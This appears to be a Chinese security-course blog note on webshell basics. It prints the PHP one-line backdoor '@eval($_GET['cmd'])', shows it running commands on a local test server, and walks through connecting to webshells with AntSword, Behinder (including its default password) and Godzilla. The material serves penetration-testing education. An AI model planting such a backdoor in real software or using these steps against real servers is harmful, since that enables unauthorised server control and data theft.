入门web28---webshell基础
一、Webshell分析
1. Webshell基础
(1) 简介
Webshell是一种恶意脚本,通常被攻击者用来在受害者的网络服务器上获取不正当的访问权限。Webshell可以用多种编程语言编写,例如PHP、ASP、JSP。攻击者通过利用服务器上的漏洞(如文件上传漏洞、注入漏洞等)将webshell上传到目标服务器。一旦webshell被成功部署,攻击者就可以通过它执行各种恶意操作,如文件管理、命令执行、数据库操作等。
(2) 功能
- 文件管理:上传、下载、删除、修改文件和目录。
- 命令执行:执行服务器上的系统命令。
- 数据库管理:连接并操作数据库。
- 信息收集:获取系统信息、网络配置、用户信息等。
- 后门持久性:在系统中留下后门,以便将来继续访问。
(3) 类型
- 根据编程语言可以分为php木马、asp木马,也有基于.NET的aspx木马和基于Java的jsp木马。
- 根据文件内容大小,也可以分为大马、小马、一句话木马。
- 根据实现的功能,也有一些打包马、拖库马、内存马等。
(4) 原理
<?php @eval($_GET['cmd']); ?>
A. 代码解释
:这是PHP的代码块,表示其中的内容将被PHP解释器执行。@:这是PHP中的错误抑制符,抑制任何可能出现的错误信息。这样即使代码执行过程中出现错误,也不会显示在页面上,增加了攻击的隐蔽性。
eval():这是PHP中的一个危险函数,用来将字符串作为PHP代码执行。在这个例子中,eval执行
传递给它的代码。
$_GET['cmd']:这是PHP的超级全局变量,用于获取通过HTTP GET请求传递的参数。在这里,它获取名为cmd的参数。
B. 工作原理
- 接收输入:当用户通过URL访问包含该代码的PHP页面时,可以在URL中传递一个cmd参数,例如:
http://example.com/shell.php?cmd=phpinfo();
- 执行命令:PHP解释器接收到请求后,$_GET['cmd']会获取到phpinfo();字符串,然后
eval($_GET['cmd']);会执行该字符串中的PHP代码。
- 返回结果:执行结果将显示在页面上,攻击者可以通过浏览器直接看到PHP代码的输出。
演示一句话木马效果
打开本地网站根目录,创建一个本地文件(例yanxiao.php)
D:\YHHWANGLUOANQ\yhhbachang\2018\PHPTutorial\WWW
将一句话木马放进去
<?php @eval($_GET['cmd']); ?>
出现空白,表示正常
运用参数访问phpinfo()
http://127.0.0.1/yanxiao.php?cmd=phpinfo();
ok了,get会用了,换post方法
直接将一句话木马中的get换成post(需要从本地根目录改)
好,现在理解一点了吧
现在直接通过php文件访问phpinfo(),不需要用参数访问
<?php phpinfo(); ?>
直接创建phpinfo1.php,放入上面一句话木马
(5) 使用
1.WebShell实际上与平常的网站文件一样,可以通过浏览器去进行访问。
- 通过Webshell控制服务器。关键点在于传递的参数,通过cmd参数向服务器传递
system('ipconfig');。
- 效果等同于在命令提示符下执行ipconfig命令。
小细节1:如何用BP将get请求换为post请求
不能自己将POST改GET
右键改变请求方式change request method
小细节2:请求头与请求数据中间有一段空行
扩展:sql注入 into outfile
2. WebShell连接工具使用
攻击者在入侵网站时,通常要通过各种方式写入WebShell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件、窃取用户数据,篡改网站页面等操作。为了方便对这些WebShell进行管理,就诞生了各种各样的WebShell管理工具。
(1) 中国蚁剑
中国蚁剑是一款开源的网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作
的网站管理员。
A. 下载
蚁剑分为加载器和核心模块两部分:
B. 安装
- 将下载的加载器及核心模块解压,然后启动加载器里的AntSword.exe文件。
- 启动后选择核心模块文件夹进行初始化
D:\..景蚁网安课件\28-webshell分析\蚁剑核心模块
- 初始化完成后重新启动AntSword.exe即可使用中国蚁剑。
C. 使用
注意:蚁剑不能连接GET请求
- 在空白处点击鼠标右键,选择添加数据,URL地址为Webshell的url地址,连接密码为一句话木马里
用于传参的参数名,填写完毕后点击添加即可。
url代表webshell的url
连接密码是请求参数(例如POST['cmd'],cmd是请求参数)
编码器选择除不推荐外的
连接成功样例
连接失败样例
注意:一定不要忘记点击添加,要不然就没有
- 添加完成后选中添加的数据点击鼠标右键即可选择要做的操作。
虚拟终端
文件管理
数据操作
(2) 冰蝎
冰蝎通信过程中使用AES(高级加密算法,对称加密,微信小程序使用此种方法)进行加密,Java
和.NET默认支持AES,php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情
况动态选择,使得冰蝎更强大。
A. 下载
项目地址:https://gitee.com/yijingsec/Behinder
B. 安装
冰蝎客户端使用java开发,因此运行前需要有java环境,然后双击Behinder.jar即可运行。
C. 使用
冰蝎的WebShell只能使用冰蝎客户端进行连接,密码默认为:rebeyond。
- 在空白处点击鼠标右键选择新增,url为Webshell的url,连接密码为冰蝎的默认密码,然后保存即
可。
选中右键打开即可
- 选中所添加的Webshell然后双击即可对其进行管理
配置错误
点击之后回出现
找到java目录,将jdk下的lib下的tool.jar复制到jdk的jre目录下的lib文件中就OK了
C:\Program Files\Java\jdk-1.8\lib
C:\Program Files\Java\jdk-1.8\jre\lib
终端打开冰蝎
ok,还打不开,那我就用终端打开
来到冰蝎目录下打开终端
D:..景蚁网安课件\28-webshell分析\冰蝎\03-Behinder_v4.1.t00ls
java -jar Behinder.jar
成功打开
(3) 哥斯拉
护网期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款
优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友
甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥
斯拉”。
A. 下载
项目地址:https://gitee.com/yijingsec/Godzilla
B. 安装
哥斯拉使用Java开发,因此需要有Java环境才能运行,双击godzilla.jar运行软件。
C. 使用
- 点击目标选择添加,URL填写Webshell的地址,密码填写用于传参的参数名,有效载荷根据
Webshell类型进行选择,其他可不填写。
- 添加成功后选中鼠标右键选中进入
生成的php文件需要弄到本地根目录
然后添加
右键进入
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 上周热点回顾(2.24-3.2)